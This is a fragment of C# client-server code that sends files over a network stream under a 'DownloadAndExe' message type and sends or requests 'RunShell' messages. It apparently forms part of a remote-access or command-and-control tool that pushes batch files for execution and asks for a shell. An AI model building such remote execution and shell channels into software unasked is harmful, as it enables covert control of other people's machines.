/// <summary>
/// Send file back to the server
/// </summary>
/// <param name="netStream"></param>
/// <param name="myMessage"></param>
private async Task SendFileBack(NetworkStream netStream, ServerClientMessage myMessage)
{
byte[] SendingBuffer = null;
try
{
byte[] dataSend;
List <byte> byteList = new List <byte>();
string FileName = @"C:\Users\tomer\OneDrive\Desktop\FileInServer\Hello.bat";
// If I want to get the file path from my client.
//string FileName = Encoding.ASCII.GetString(myMessage.MyData);
FileStream Fs = new FileStream(FileName, FileMode.Open, FileAccess.Read);
int NoOfPackets = Convert.ToInt32(Math.Ceiling(Convert.ToDouble(Fs.Length) / Convert.ToDouble(1024)));
int FileLength = (int)Fs.Length, CurrentPacketLength;
ServerClientMessage myReply = new ServerClientMessage(MessageType.DownloadAndExe, FileLength);
// Run on the file and copy it to the messageReply
// Todo: this is example for handling large requests, maybe we'll aplly later on the netStream writing
for (int i = 0; i < NoOfPackets; i++)
{
if (FileLength > 1024)
{
CurrentPacketLength = 1024;
FileLength = FileLength - CurrentPacketLength;
}
else
{
CurrentPacketLength = FileLength;
}
SendingBuffer = new byte[CurrentPacketLength];
Fs.Read(SendingBuffer, 0, CurrentPacketLength);
byteList.AddRange(SendingBuffer);
}
Fs.Close();
myReply.MyData = byteList.ToArray();
dataSend = myReply.serialize();
await netStream.WriteAsync(dataSend, 0, dataSend.Length);
await netStream.FlushAsync();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
/// <summary>
/// Send file to the server
/// </summary>
/// <param name="FileName"></param>
/// <returns></returns>
public async Task ClientSendFile(string FileName)
{
byte[] SendingBuffer = null;
try
{
if (this.myClient.Connected)
{
List <byte> byteList = new List <byte>();
byte[] dataSend;
FileStream Fs = new FileStream(FileName, FileMode.Open, FileAccess.Read);
int NoOfPackets = Convert.ToInt32(Math.Ceiling(Convert.ToDouble(Fs.Length) / Convert.ToDouble(1024)));
int TotalLength = (int)Fs.Length, CurrentPacketLength;
ServerClientMessage myMessage = new ServerClientMessage(MessageType.DownloadAndExe, TotalLength);
for (int i = 0; i < NoOfPackets; i++)
{
if (TotalLength > 1024)
{
CurrentPacketLength = 1024;
TotalLength = TotalLength - CurrentPacketLength;
}
else
{
CurrentPacketLength = TotalLength;
}
SendingBuffer = new byte[CurrentPacketLength];
await Fs.ReadAsync(SendingBuffer, 0, CurrentPacketLength);
byteList.AddRange(SendingBuffer);
}
Fs.Close();
myMessage.MyData = byteList.ToArray();
dataSend = myMessage.serialize();
await this.netStream.WriteAsync(dataSend, 0, dataSend.Length);
await this.netStream.FlushAsync();
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private async Task SendClientRunShell(NetworkStream netStream)
{
try
{
byte[] dataSend;
List <byte> byteList = new List <byte>();
ServerClientMessage myReply = new ServerClientMessage(MessageType.RunShell, 0, new byte[0]);
dataSend = myReply.serialize();
await netStream.WriteAsync(dataSend, 0, dataSend.Length);
await netStream.FlushAsync();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
public async Task AskforShell()
{
try
{
if (this.myClient.Connected)
{
byte[] data = new byte[0];
ServerClientMessage myMessage = new ServerClientMessage(MessageType.RunShell, data.Length, data);
data = myMessage.serialize();
await this.netStream.WriteAsync(data, 0, data.Length);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
finally
{
}
}
/// <summary>
/// Ask file from the server
/// </summary>
/// <param name="FileName"></param>
/// <returns></returns>
public async Task AskFileFromServer(string FileName)
{
try
{
if (this.myClient.Connected)
{
byte[] data = Encoding.ASCII.GetBytes(FileName);
ServerClientMessage myMessage = new ServerClientMessage(MessageType.AskForFile, data.Length, data);
data = myMessage.serialize();
await this.netStream.WriteAsync(data, 0, data.Length);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
finally
{
}
}
